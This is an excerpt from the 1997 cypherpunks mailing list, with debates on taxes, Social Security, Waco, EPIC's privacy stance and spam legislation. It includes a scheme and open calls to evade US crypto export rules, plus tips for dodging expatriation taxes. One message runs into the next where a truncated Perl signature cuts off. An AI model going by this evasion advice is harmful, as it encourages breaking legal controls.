as badly as it did in 1929-1934. I believe that it is by far not 
impossible. Then we'd get stuck in a market downturn, with millions of
retured people with few means to support themselves, and the government 
unable to collect enough money to feed them (which is unconstitutional
anyway).

[I understand that the optimal allocation of assets in retirement funds
should become more and more conservative with age, as people are less
and less able to tolerate risk and recoup losses with more earnings, but
I am sure that many investors will not pay enough attention to that.]

Now, that does not mean that SS should not be privatized (it should),
but the picture is not as rosy and not as certain as that stupid Java
applet suggests.

	- Igor.

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From ichudov at algebra.com  Fri May 30 16:18:25 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:18:25 +0800
Subject: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: 
Message-ID: <199705302305.SAA17152@manifold.algebra.com>


Ray Arachelian wrote:
> This is really a double tax since if you own assets, you've already paid
> taxes on those said assets in the form of income tax.  If it's an
> inheritance, that too was taxed, so what the fuck?  What's the
> justification behind this other than exit rape?

The problem is that capital gains can be used to pay people money
and avoid income taxation.

Example: suppose that I hire you to design my website. Instead of
paying you $10,000, I sell you a security for $1,000 and repurchase it
from you next year for $12,000. As a result, you would not have to pay
the feds anything if there was no capital gains tax.

There are many ways in which this can be done by individuals and
companies alike.

I would rather use sales tax and repeal both capital gains tax and
income tax, than get rid of capital gains tax but not of the income tax.

igor






From frissell at panix.com  Fri May 30 16:25:38 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sat, 31 May 1997 07:25:38 +0800
Subject: There's something wrong...
In-Reply-To: <199705301914.MAA26873@fat.doobie.com>
Message-ID: <3.0.2.32.19970530190910.03716738@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 12:14 PM 5/30/97 -0700, Huge Cajones Remailer wrote:

> At Waco, dozens of innocents were killed, burned alive on national 
>television in their home and church from an unwarranted, excessive 
>use of force in order to serve a search warrant on David Koresh for 
>what they "may" have been doing.  No one was under indictment, under 
>arrest or accused of an actual crime, yet through media manipulation 
>that branded koresh and his followers Kooks, the nation watched 
>another act of Statist-TV-Terrorism. The message through the 
>medium this time?,   "We don't need no stinking charges."

23 children were fried because the Feds thought that some people living at MT 
Carmel might be illegally possessing some metal disks about the size of a 50 
cent piece.

DCF
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From frissell at panix.com  Fri May 30 17:01:56 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sat, 31 May 1997 08:01:56 +0800
Subject: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: 
Message-ID: <3.0.2.32.19970530194745.006d62bc@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 03:55 PM 5/30/97 -0400, Ray Arachelian wrote:

>What's the
>justification behind this other than exit rape?

Same justification as any tax.  "We want the dough."  Note they haven't 
managed to pass a full exit tax yet, however:

http://207.87.27.10/forbes/111896/5812044a.htm

Forbes - 18 November 1996

"And don't come back"

By Robert Lenzner 

In August 1996 the Republicans pasted some anti-taxpatriate language into the 
Health Insurance Portability & Accountability Act. This law now subjects 
expatriates with a net worth of over $500,000 to taxation on their income 
earned in the U.S. for ten years from the time they renounce their 
citizenship, no matter where they live or whose flag they salute. But this is 
a law without teeth. Any clever entrepreneur can live by borrowing against 
assets rather than paying himself an income. Any good international tax lawyer 

can move ownership of U.S. assets into a foreign corporation or trust, thus 
making most taxpatriates' U.S.-sourced income vanish.

The latest effort to keep intrepid taxpatriates on the reservation was passed 
with no fanfare in early October. A little-noticed provision of the Illegal 
Immigration Reform & Immigrant Responsibility Act of 1996 says, in essence, 
that Americans can still renounce their citizenship and flee to tax havens 
like the Bahamas, Ireland and Switzerland. But if they do, they can't 
necessarily come back to the U.S., not even to visit the grandkids or attend 
their college reunions.

Under the new law, the taxpatriate�any expatriate for that matter�must apply 
for a visa for every visit. The law states that the U.S. Attorney General may 
prohibit the issuance of a visa to a former U.S. citizen if there are solid 
grounds to believe that citizenship was renounced in order to avoid taxes.

In short, taxpatriates will now be treated as exiles without any visiting 
rights, just like the illegal immigrants the U.S. wants to cut off.

***************

Utterly meaningless in both cases since, as mentioned, you can move your 
wealth overseas and in the case of the visa requirement, first they have to 
flag you as an expatriate and even if they do that, you can enter the U.S. via 

Canada, Mexico, or the   Caribbean which are all inside the "US Passport 
Control Area."

>I suppose one way is to take loads of trips and loads of AmEx traveler's
>checks, then gamble on things with 50% chance of winning, take the
>winnings and dump'em in accounts outside.  Repeat until nothing's left,
>then exit with very little.

I find that a SWIFT wire transfer is faster, safer, and easier.

>So let's sue the system.  Might fail, but maybe we can get it the fuck out
>of our income taxes.  One less tax to bother with.  Since it no longer
>does what it is supposed to, might as well get rid of it.  One way is to
>calculate how much you've put in it, and what is expected you'll receive
>on retirement.  Compare the two, then sue the bastards.   (I donno what
>I've been smoking, but I should get more of it, that's for sure. heheheh)

If you can find a judge who doesn't have "a financial interest in the outcome 
of the proceedings" I suppose you could try but victory seems unlikely in 
either case.

Rather than litigation or detonation why not just try to ignore them.

DCF


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From rah at shipwright.com  Fri May 30 19:57:58 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 31 May 1997 10:57:58 +0800
Subject: Elliptic Curve Rumor
Message-ID: 



--- begin forwarded text


Date: Fri, 30 May 1997 10:53:16 -0700
To: Robert Hettinga 
From: Somebody
Subject: Elliptic Curve Rumor
Mime-Version: 1.0

I assume you will pass this information on.  Please don't associate my name
with it.

I have heard that Apple has a working implementation of Elliptic Curve
Cryptography.  Because of the export regulations they don't want to include
it in their products.  If anyone wants to try to change their minds, now
would be a good time.

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From rah at shipwright.com  Fri May 30 20:02:43 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 31 May 1997 11:02:43 +0800
Subject: Janus (now called LPWA) ready for pre-testing)
Message-ID: 



--- begin forwarded text


Date: Fri, 30 May 1997 13:31:25 -0400
From: alain at research.bell-labs.com (Alain Mayer)
To: rah at shipwright.com
Subject: Janus (now called LPWA) ready for pre-testing)
Cc: alain at research.bell-labs.com


Hi Robert,

the Janus system I presented at FC97 is now running on
a proxy at Bell Labs, accessible to everyone.
Maybe you can send the announcement below to the
fc97 mailing list?

Many thanks and I hope everything is fine with you,

   -- Alain
========================================


Hi,

Janus (now called the Lucent Personalized Web Assistant, LPWA) is now
pre-testing.
Its main goal is to increase convenience, security, and privacy for browsing
the web, especially with sites that require registration (and hence user
names, passwords and e-mail addresses).
We hope that you will use it for a while and give us some feedback on what you
like and what kind of things are annoying. Note, that you can only participate
if you are able to configure your browser to directly connect to our proxy.
Some of you might be behind a firewall or ISP where a particular proxy is
required.

Instructions can be found at http://lpwa.com:8000.

More on the project is located at
http://www.bell-labs.com/project/lpwa/

An arbitrary list of (free) sites which require registration can be found at
http://www.bell-labs.com/projects/lpwa/extended_summary_tmp.html#account


Please note that this project has not yet been publicy announced and that
documentation and code are currently being revised. Also, the current set-up,
where you have to connect to LPWA/Janus over an insecure connection is not
"optimal" (to say the least, but all in all much better than if you browse
the "usual way"). Hence, we are really looking for "friendly users" at this
time whose feedback might help us to make improvements.

Regards,
  -- Alain

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tcmay at got.net  Fri May 30 22:25:19 1997
From: tcmay at got.net (Tim May)
Date: Sat, 31 May 1997 13:25:19 +0800
Subject: Rotenberg as the Uber Enemy
Message-ID: 



I suppose I am developing a reputation amongst the Inside the Beltway Cyber
Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
their chief spokeswonks giving a policy statement I realize they are "not
on my side."

The latest quote is from Marc Rotenberg, on a CNN piece on spam and
anti-spam legislation, saying that what the legislators in Congress really
need to look into is how the spammers develop their data bases.....

Incredible. Does he propose investigations of private data gathering?
Perhaps search warrants served on those who take public postings and
construct data bases?

Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
realize the "spammers" are merely  taking publicly available (= legally
available, as 99.99% of all such information is) information and using
legal channels to contact me. I may not "like" it, but their behavior is as
legal as someone calling me on the phone.

(And ny nearly any measure of hassle factor, dashing to get to the phone
only to find it's a salesman selling something I don't want is worse than
any 20 unwanted e-mail messages.)

So, Marc Rotenberg wants Congress to "look into" (= interfere with)
compilation and use of public information.

These people are NOT our allies.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at pathfinder.com  Sat May 31 00:35:32 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 31 May 1997 15:35:32 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


Unfortunately, Tim is letting a rant get in the way of reality. A shame,
really, for he's capable of better. Let me respond. I may not be very
cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
went to some cheezy Crystal City sports bar afterwards. I just got back
home, and it's 3:20 am...

Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
with cypherpunk and libertarian positions on some issues. So we have
issue-by-issue alliances with them. Let's break it down:

------------------------------
CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
been the ones criticizing the SAFE "crypto in crime" provisions. Did the
latest VTW alert sent out today even mention that portion of the bill, let
alone criticize it?

ANONYMITY: No other group in DC is such a staunch supporter of online
anonymity publicly, though look for something from Cato soon. In fact, I
linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
Many business groups don't like anonymity online -- hurts the marketeers.

FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
they've said some of the anti-spam legislation is unconstitutional.

FOIA: David Sobel does fabulous work snagging government documents the
spooks don't want released.

PRIVACY: EPIC wants more Federal involvement to protect privacy and a
Federal Privacy Commission (or something similar). Lots of laws,
bureaucracies. Though EPIC does realize there's a First Amendment; other
privacy groups are even more aggressive. EPIC is of course on the side of
libertarians when it comes to government violations of privacy.
------------------------------

>From a libertarian perspective, EPIC is good on everything but privacy. On
that they want Big Government solutions.

But that doesn't mean we reject and condemn what they do on other issues.
Do we reject Eagle Forum's anti-Clipper endorsement because they're a
bunch of ultraconservative wackos? Do we reject the National Organization
for Women's position on the CDA as bad because they're a bunch of
ultraliberal wackos? How about the National Association of Broadcaster's
amicus brief against the CDA? The Christian Coalition rejecting a national
ID cards and numbers? Ralph Nader wanting open access to government
databases?

No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
are not always, but are often, our allies. 

-Declan


On Fri, 30 May 1997, Tim May wrote:

> 
> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> their chief spokeswonks giving a policy statement I realize they are "not
> on my side."
> 
> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> anti-spam legislation, saying that what the legislators in Congress really
> need to look into is how the spammers develop their data bases.....
> 
> Incredible. Does he propose investigations of private data gathering?
> Perhaps search warrants served on those who take public postings and
> construct data bases?
> 
> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> realize the "spammers" are merely  taking publicly available (= legally
> available, as 99.99% of all such information is) information and using
> legal channels to contact me. I may not "like" it, but their behavior is as
> legal as someone calling me on the phone.
> 
> (And ny nearly any measure of hassle factor, dashing to get to the phone
> only to find it's a salesman selling something I don't want is worse than
> any 20 unwanted e-mail messages.)
> 
> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> compilation and use of public information.
> 
> These people are NOT our allies.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 






From aba at dcs.ex.ac.uk  Sat May 31 02:02:10 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 31 May 1997 17:02:10 +0800
Subject: legal EAR work-around/Paper based remailers
Message-ID: <199705310853.JAA00659@server.test.net>



EAR says that you can't export crypto in electronic form.  EAR says
you can export crypto in textual form.  We have electronic cash in
terms of MT banks digicash.  Email is more convenient for exporting
crypto source code and binaries that snail mail.

Let's do it.

Here's what we need:

1. US entrepreneur to accept mail with 

	::
	Snail-To: 
	Snail-Fee: 
	Scanning-Fee: <50c/sheet, digicash>
	Request-Remailing-To: 
	Anon-Post-To: alt.cypherpunks

   US volunteer strips off first two headers, prints out the document
   in a large OCR friendly font.  Puts in envelope and posts at
   highest priority snail that can be paid for out of the included
   postage (overnight/air-mail/slow-boat).

2. Non-US entrepreneur to scan and remail results

	::
	Scanning-Fee: <50c/sheet, digicash>
	Request-Remailing-To: 
	Anon-Post-To: alt.cypherpunks

   US volunteer scans the sheets, mails/post them to the requested
   email address/newsgroup, and collects his digicash fee per sheet.

I volunteer for #2.  (You understand the importance of the
Scanning-Fee, I can pay someone to feed sheets into a scanner if needs
be with a fee, without that I can become overloaded with a ream of
paper representing the binary for PGP5.0).

Legal questions: I'd be interested in legal interpretations of whether
the above scheme is legal for the US entrepreneur.  Peter Junger said
a short while ago on the list that printed material could be exported
under the EAR regulations administered by Commerce Dept.  Does this
scheme qualify?

Technical questions: If this is to include uuencoded or radix-64 mime
encoding, we might want to think about redundancy to allow error
correction.  Perhaps we want that anyway to ensure that what we have
is 100% character-by-character perfect.  Or perhaps not as it may
damage the legality aspects.  They may start saying that you can only
export human readable stuff on paper, etc.  Then we move on to `texto'
apparently human readable steganographically encoded paper based
remailer messages.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705311334.IAA18924@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705310853.JAA00659 at server.test.net>, on 05/31/97 
   at 09:53 AM, Adam Back  said:


>EAR says that you can't export crypto in electronic form.  EAR says you
>can export crypto in textual form.  We have electronic cash in terms of
>MT banks digicash.  Email is more convenient for exporting crypto source
>code and binaries that snail mail.

>Let's do it.

>Here's what we need:

>1. US entrepreneur to accept mail with 

>	::
>	Snail-To: 
>	Snail-Fee: 
>	Scanning-Fee: <50c/sheet, digicash>
>	Request-Remailing-To: 
>	Anon-Post-To: alt.cypherpunks

>   US volunteer strips off first two headers, prints out the document
>   in a large OCR friendly font.  Puts in envelope and posts at
>   highest priority snail that can be paid for out of the included
>   postage (overnight/air-mail/slow-boat).

>2. Non-US entrepreneur to scan and remail results

>	::
>	Scanning-Fee: <50c/sheet, digicash>
>	Request-Remailing-To: 
>	Anon-Post-To: alt.cypherpunks

>   US volunteer scans the sheets, mails/post them to the requested
>   email address/newsgroup, and collects his digicash fee per sheet.

>I volunteer for #2.  (You understand the importance of the
>Scanning-Fee, I can pay someone to feed sheets into a scanner if needs be
>with a fee, without that I can become overloaded with a ream of paper
>representing the binary for PGP5.0).

>Legal questions: I'd be interested in legal interpretations of whether
>the above scheme is legal for the US entrepreneur.  Peter Junger said a
>short while ago on the list that printed material could be exported under
>the EAR regulations administered by Commerce Dept.  Does this scheme
>qualify?

>Technical questions: If this is to include uuencoded or radix-64 mime
>encoding, we might want to think about redundancy to allow error
>correction.  Perhaps we want that anyway to ensure that what we have is
>100% character-by-character perfect.  Or perhaps not as it may damage the
>legality aspects.  They may start saying that you can only export human
>readable stuff on paper, etc.  Then we move on to `texto' apparently
>human readable steganographically encoded paper based remailer messages.

Hi Adam,

Why bother with all of this. If you want to export crypto then just do it.
As long as we keep up with this mickymouse approach to exports trying to
appease the FEDs who are acting unconstitutionaly on this matter things
will never change. Put up a web page or a ftp site with the crypto
binaries and let whomever wishes to download them download them.

I have done this and I will continue to do this dispite what the goons in
DC have to say about it.

We must all hang together or we will all hang.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From rotenberg at epic.org  Sat May 31 07:10:00 1997
From: rotenberg at epic.org (Marc Rotenberg)
Date: Sat, 31 May 1997 22:10:00 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 




People who are interested in why I am pro-individual freedom
but not anti-government should take a look a my piece in Wired
"Eurocrats Do Good Privacy." [4.05]

I spent a year working for a good crypto policy at the OECD.
During that time I watched European government officials
argue for constitutional freedoms and against key escrow,
while business representatives quietly backed the US
GAK plan. Welcome to the real world.

Marc.

Btw - Declan's summary of our views on privacy below are
just silly. Many of the greatest defenders of First Amendment
freedoms have also felt most strongly about the right of
privacy. The question is always how you protect rights.
Perhaps libertarians would do away with all laws that protect
personal freedoms. Bad call.


 At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
>Unfortunately, Tim is letting a rant get in the way of reality. A shame,
>really, for he's capable of better. Let me respond. I may not be very
>cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
>went to some cheezy Crystal City sports bar afterwards. I just got back
>home, and it's 3:20 am...
>
>Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
>with cypherpunk and libertarian positions on some issues. So we have
>issue-by-issue alliances with them. Let's break it down:
>
>------------------------------
>CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
>been the ones criticizing the SAFE "crypto in crime" provisions. Did the
>latest VTW alert sent out today even mention that portion of the bill, let
>alone criticize it?
>
>ANONYMITY: No other group in DC is such a staunch supporter of online
>anonymity publicly, though look for something from Cato soon. In fact, I
>linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
>Many business groups don't like anonymity online -- hurts the marketeers.
>
>FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
>they've said some of the anti-spam legislation is unconstitutional.
>
>FOIA: David Sobel does fabulous work snagging government documents the
>spooks don't want released.
>
>PRIVACY: EPIC wants more Federal involvement to protect privacy and a
>Federal Privacy Commission (or something similar). Lots of laws,
>bureaucracies. Though EPIC does realize there's a First Amendment; other
>privacy groups are even more aggressive. EPIC is of course on the side of
>libertarians when it comes to government violations of privacy.
>------------------------------
>
>From a libertarian perspective, EPIC is good on everything but privacy. On
>that they want Big Government solutions.
>
>But that doesn't mean we reject and condemn what they do on other issues.
>Do we reject Eagle Forum's anti-Clipper endorsement because they're a
>bunch of ultraconservative wackos? Do we reject the National Organization
>for Women's position on the CDA as bad because they're a bunch of
>ultraliberal wackos? How about the National Association of Broadcaster's
>amicus brief against the CDA? The Christian Coalition rejecting a national
>ID cards and numbers? Ralph Nader wanting open access to government
>databases?
>
>No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
>are not always, but are often, our allies.
>
>-Declan
>
>
>On Fri, 30 May 1997, Tim May wrote:
>
>>
>> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
>> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
>> their chief spokeswonks giving a policy statement I realize they are "not
>> on my side."
>>
>> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>> anti-spam legislation, saying that what the legislators in Congress really
>> need to look into is how the spammers develop their data bases.....
>>
>> Incredible. Does he propose investigations of private data gathering?
>> Perhaps search warrants served on those who take public postings and
>> construct data bases?
>>
>> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
>> realize the "spammers" are merely  taking publicly available (= legally
>> available, as 99.99% of all such information is) information and using
>> legal channels to contact me. I may not "like" it, but their behavior is as
>> legal as someone calling me on the phone.
>>
>> (And ny nearly any measure of hassle factor, dashing to get to the phone
>> only to find it's a salesman selling something I don't want is worse than
>> any 20 unwanted e-mail messages.)
>>
>> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
>> compilation and use of public information.
>>
>> These people are NOT our allies.
>>
>> --Tim May
>>
>> There's something wrong when I'm a felon under an increasing number of laws.
>> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>> ---------:---------:---------:---------:---------:---------:---------:----
>> Timothy C. May              | Crypto Anarchy: encryption, digital money,
>> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>> Higher Power: 2^1398269     | black markets, collapse of governments.
>> "National borders aren't even speed bumps on the information superhighway."
>>
>>
>>
>>
>>



==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg at epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================







From pooh at efga.org  Sat May 31 07:25:48 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sat, 31 May 1997 22:25:48 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: <3.0.2.32.19970531101055.00789c88@keystone.intergate.net>


-----BEGIN PGP SIGNED MESSAGE-----

I have not heard Rotenberg's statements on private collection of public data 
and spam, but I can make my own.


At 10:13 PM 5/30/97 -0700, Tim May wrote:
>The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>anti-spam legislation, saying that what the legislators in Congress really
>need to look into is how the spammers develop their data bases.....
...
>Incredible. Does he propose investigations of private data gathering?

I'd agree here.  Rather than have Congress blindly pass a law, some 
investigation of the matter should be done first.  While I am not supporting a 
law, any such law should have three parts:

 a) Codification
 b) Rulemaking
 c) Further Investigation

Codification is actual law, and takes a lot of agreement and about two years 
to change.  Rules are created by an agency and take about 120 to change.  
Investigation allows the clueless and unknowing to study the impact of the law 
and whether or not the law, and less or stronger provisions are appropriate.  
Take one simple provision as an example, tagging of commercial spam.  One less 
enlightened bill proposes that the subject line always begin with the word 
"Advertisement".  A better solution would be to a) codify the principle, not 
the method.  "All spam must be tagged."  b) Allow rules to be created that 
describe the tagging process (for example an X-header or subject line.  The 
use of "Ad:" instead of the full word) c) Allow the agency involved to perform 
a study to see if the rulemaking worked, if not then change the rule.

As for investigations into data gathering, I've been doing that for some time. 
 It has educated me, and would no doubt educate congress.  Two years ago, I 
spoke with the president of Pro-CD, a popular CD-phonebook company.  I asked 
him why unlisted numbers are not on the CD's, and why so few fax numbers are 
on the CD's.  This information is readily available.  He said that only 
previous published collections are republished by him.  What spammers are 
doing is invasive in that they are collecting the information for the first 
time.

>I may not "like" it, but their behavior is as legal as someone 
>calling me on the phone.

I'll agree with you to some degree.  After all, it *IS* ILLEGAL for someone to 
call you on the phone for the equivalent of spam, many people would like email 
spam to be just as illegal.  However there are loopholes in the law that allow 
email to be sent under the same circumstances.  State laws, and the federal 
law have provisions such as time ranges calls can be made (daytime hours 
only), prohibitions on the use of automated equipment, removal lists, and call 
destinations absolutely prohibited (hospitals, emergency numbers).

For good or for bad, the current movement in lawmaking is to plug these 
loopholes that exist for email.

>Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day.

Then you miss the point.  For all practical purposes, the spam industry does 
not exist in the US.  There are one or two, perhaps a dozen companies doing 
this as a full time endevour.  We are not close to spam companies matching the 
number of radio stations, or even newspapers.  We do not even envision the 
concept of the number of spammers equaling the number of lawyers.  The current 
spam bills are meant to address the actions of about five people in the entire 
United States.

Pick up any metropolitan newspaper.  Count the number of classified ads on any 
given day.  Spam is cheaper and reaches more people.  Would you like to see 
this number of spams in you mail box?  Will you honestly say that 500-1000 
spams in your mailbox is simply annoying?  Multiply this by the number of 
newspapers in the US.   

The manner in which the information is collected is invasive.  People feel 
their privacy is being violated.  The right to be left alone is a fundamental 
right.  While some spammers may feel they have a right to speak, they have no 
right to be heard.  They do not have a right to force me to listen.  The cost 
shifting problem also needs to be addressed.

Current spam bills are based on CONTENT of the spam message.  Another way to 
address the problem is to look at the data collection issue.  A third method 
is to address the headers.

Data collection is currently being done on an opt-out basis.  Opt-in is 
thought by many to be preferable.

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  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From frissell at panix.com  Sat May 31 08:25:53 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sat, 31 May 1997 23:25:53 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: <3.0.2.32.19970531111335.00722e6c@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:59 AM 5/31/97 -0400, Marc Rotenberg wrote:

>Btw - Declan's summary of our views on privacy below are
>just silly. Many of the greatest defenders of First Amendment
>freedoms have also felt most strongly about the right of
>privacy. The question is always how you protect rights.
>Perhaps libertarians would do away with all laws that protect
>personal freedoms. Bad call.

Of course the beloved Eurocratic method of protecting privacy in the computer 
age is to require registration of all computers and databases which store 
discrete information about individuals.

Register Communists Not Computers!*

DCF

*Just kidding.  Commies shouldn't have to register either.


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From declan at well.com  Sat May 31 09:22:03 1997
From: declan at well.com (Declan McCullagh)
Date: Sun, 1 Jun 1997 00:22:03 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


I'm now more awake than I was before, and a little less
flippant, so let me try to respond to Marc's statement
saying my summary of his "views on privacy below are
just silly."

The initial question has to be not how you protect rights,
but how you define them. For example, we have a right
to speak freely; there should be strict limits on
government controls on free expression or the press.
The state has unique powers of coercion. Similarly,
there should be strict limits on government collection
of personal data about its citizens.

But transactional privacy is a different matter. Sure,
we may generally agree that privacy is the famous
"right to be left alone," but how does that extend to
what happens when I make an affirmative choice to
connect to a web site that might record some info
about my visit -- as an alternative to charging me?
Nobody's forcing me to visit that site. That's why
I'm starting to come around to the idea that privacy
is not a universal right but a preference. We need a
market in privacy, not inflexible FTC rulemaking.

Oh, and the much-touted European Privacy Directive has
made it near-impossible to exchange employee
information between branches of the same firm that are
physically in different countries. Bad move,
Eurocrats.

-Declan



On Sat, 31 May 1997, Marc Rotenberg wrote:

> People who are interested in why I am pro-individual freedom
> but not anti-government should take a look a my piece in Wired
> "Eurocrats Do Good Privacy." [4.05]
> 
> I spent a year working for a good crypto policy at the OECD.
> During that time I watched European government officials
> argue for constitutional freedoms and against key escrow,
> while business representatives quietly backed the US
> GAK plan. Welcome to the real world.
> 
> Marc.
> 
> Btw - Declan's summary of our views on privacy below are
> just silly. Many of the greatest defenders of First Amendment
> freedoms have also felt most strongly about the right of
> privacy. The question is always how you protect rights.
> Perhaps libertarians would do away with all laws that protect
> personal freedoms. Bad call.
> 
> 
>  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
> >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
> >really, for he's capable of better. Let me respond. I may not be very
> >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
> >went to some cheezy Crystal City sports bar afterwards. I just got back
> >home, and it's 3:20 am...
> >
> >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
> >with cypherpunk and libertarian positions on some issues. So we have
> >issue-by-issue alliances with them. Let's break it down:
> >
> >------------------------------
> >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
> >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
> >latest VTW alert sent out today even mention that portion of the bill, let
> >alone criticize it?
> >
> >ANONYMITY: No other group in DC is such a staunch supporter of online
> >anonymity publicly, though look for something from Cato soon. In fact, I
> >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
> >Many business groups don't like anonymity online -- hurts the marketeers.
> >
> >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
> >they've said some of the anti-spam legislation is unconstitutional.
> >
> >FOIA: David Sobel does fabulous work snagging government documents the
> >spooks don't want released.
> >
> >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
> >Federal Privacy Commission (or something similar). Lots of laws,
> >bureaucracies. Though EPIC does realize there's a First Amendment; other
> >privacy groups are even more aggressive. EPIC is of course on the side of
> >libertarians when it comes to government violations of privacy.
> >------------------------------
> >
> >From a libertarian perspective, EPIC is good on everything but privacy. On
> >that they want Big Government solutions.
> >
> >But that doesn't mean we reject and condemn what they do on other issues.
> >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
> >bunch of ultraconservative wackos? Do we reject the National Organization
> >for Women's position on the CDA as bad because they're a bunch of
> >ultraliberal wackos? How about the National Association of Broadcaster's
> >amicus brief against the CDA? The Christian Coalition rejecting a national
> >ID cards and numbers? Ralph Nader wanting open access to government
> >databases?
> >
> >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
> >are not always, but are often, our allies.
> >
> >-Declan
> >
> >
> >On Fri, 30 May 1997, Tim May wrote:
> >
> >>
> >> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> >> their chief spokeswonks giving a policy statement I realize they are "not
> >> on my side."
> >>
